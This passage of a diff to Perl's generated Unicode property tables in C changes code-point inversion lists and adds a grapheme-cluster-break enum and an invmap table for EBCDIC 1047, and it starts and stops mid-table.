0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, + 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, + 0xD800, + 0xE000, + 0xFB1E, + 0xFB1F, 0xFE00, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, + 0xFE10, 0xFE20, 0xFE30, - 0xFE31, - 0xFE33, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE53, - 0xFE55, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, 0xFEFF, 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, - 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF41, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF65, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, + 0xFF9E, + 0xFFA0, + 0xFFF0, 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, 0x101FD, 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, 0x102E0, 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, + 0x10376, 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, + 0x10A01, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, + 0x10A10, 0x10A38, 0x10A3B, 0x10A3F, 0x10A40, - 0x10A56, - 0x10A58, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, + 0x10AE5, 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, 0x11000, - 0x11049, - 0x11066, - 0x11070, + 0x11001, + 0x11002, + 0x11003, + 0x11038, + 0x11047, 0x1107F, + 0x11082, + 0x11083, + 0x110B0, + 0x110B3, + 0x110B7, + 0x110B9, 0x110BB, 0x110BD, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, + 0x110BE, 0x11100, + 0x11103, + 0x11127, + 0x1112C, + 0x1112D, 0x11135, - 0x11136, - 0x11140, - 0x11141, - 0x11144, - 0x11150, + 0x11173, 0x11174, - 0x11176, - 0x11177, 0x11180, - 0x111C7, + 0x11182, + 0x11183, + 0x111B3, + 0x111B6, + 0x111BF, + 0x111C1, + 0x111C2, + 0x111C4, 0x111CA, - 0x111CE, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111DE, - 0x111E0, - 0x11200, - 0x11212, - 0x11213, - 0x1123A, - 0x1123B, - 0x1123D, + 0x111CD, + 0x1122C, + 0x1122F, + 0x11232, + 0x11234, + 0x11235, + 0x11236, + 0x11238, 0x1123E, 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, + 0x112DF, + 0x112E0, + 0x112E3, 0x112EB, - 0x112F0, - 0x112FA, 0x11300, + 0x11302, 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, 0x1133C, + 0x1133D, + 0x1133E, + 0x1133F, + 0x11340, + 0x11341, 0x11345, 0x11347, 0x11349, 0x1134B, 0x1134E, - 0x11350, - 0x11351, 0x11357, 0x11358, - 0x1135D, + 0x11362, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, - 0x11400, - 0x1144D, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, + 0x11435, + 0x11438, + 0x11440, + 0x11442, + 0x11445, + 0x11446, + 0x11447, + 0x114B0, + 0x114B1, + 0x114B3, + 0x114B9, + 0x114BA, + 0x114BB, + 0x114BD, + 0x114BE, + 0x114BF, + 0x114C1, + 0x114C2, + 0x114C4, + 0x115AF, + 0x115B0, + 0x115B2, 0x115B6, 0x115B8, + 0x115BC, + 0x115BE, + 0x115BF, 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, + 0x115DC, 0x115DE, - 0x11600, - 0x11643, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, + 0x11630, + 0x11633, + 0x1163B, + 0x1163D, + 0x1163E, + 0x1163F, + 0x11641, + 0x116AB, + 0x116AC, + 0x116AD, + 0x116AE, + 0x116B0, + 0x116B6, + 0x116B7, 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, 0x1171D, + 0x11720, + 0x11722, + 0x11726, + 0x11727, 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11A9B, - 0x11A9D, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, + 0x11C2F, + 0x11C30, 0x11C37, 0x11C38, - 0x11C43, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, + 0x11C3E, + 0x11C3F, + 0x11C40, 0x11C92, 0x11CA8, 0x11CA9, + 0x11CAA, + 0x11CB1, + 0x11CB2, + 0x11CB4, + 0x11CB5, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B39, - 0x16B40, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, + 0x16AF5, + 0x16B30, + 0x16B37, + 0x16F51, 0x16F7F, 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, + 0x16F93, 0x1BC9D, + 0x1BC9F, + 0x1BCA0, 0x1BCA4, 0x1D165, + 0x1D166, + 0x1D167, 0x1D16A, 0x1D16D, + 0x1D16E, + 0x1D173, + 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, @@ -340436,68 +35082,6 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1D1AE, 0x1D242, 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, 0x1DA00, 0x1DA37, 0x1DA3B, @@ -340506,8 +35090,6 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1DA76, 0x1DA84, 0x1DA85, - 0x1DA88, - 0x1DA89, 0x1DA9B, 0x1DAA0, 0x1DAA1, @@ -340522,152 +35104,1747 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1E025, 0x1E026, 0x1E02B, - 0x1E800, - 0x1E8C5, 0x1E8D0, 0x1E8D7, - 0x1E900, + 0x1E944, 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, + 0x1F1E6, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, + 0x1F93F, + 0xE0000, 0xE0020, 0xE0080, 0xE0100, - 0xE01F0 + 0xE01F0, + 0xE1000 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define GCB_ENUM_COUNT 19 + +typedef enum { + GCB_Other = 0, + GCB_CR = 1, + GCB_Control = 2, + GCB_E_Base = 3, + GCB_E_Base_GAZ = 4, + GCB_E_Modifier = 5, + GCB_Extend = 6, + GCB_Glue_After_Zwj = 7, + GCB_L = 8, + GCB_LF = 9, + GCB_LV = 10, + GCB_LVT = 11, + GCB_Prepend = 12, + GCB_Regional_Indicator = 13, + GCB_SpacingMark = 14, + GCB_T = 15, + GCB_V = 16, + GCB_ZWJ = 17, + GCB_EDGE = 18 +} GCB_enum; + +static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 1047 */ + GCB_Control, + GCB_CR, + GCB_Control, + GCB_LF, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_L, + GCB_V, + GCB_T, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_ZWJ, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_L, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + 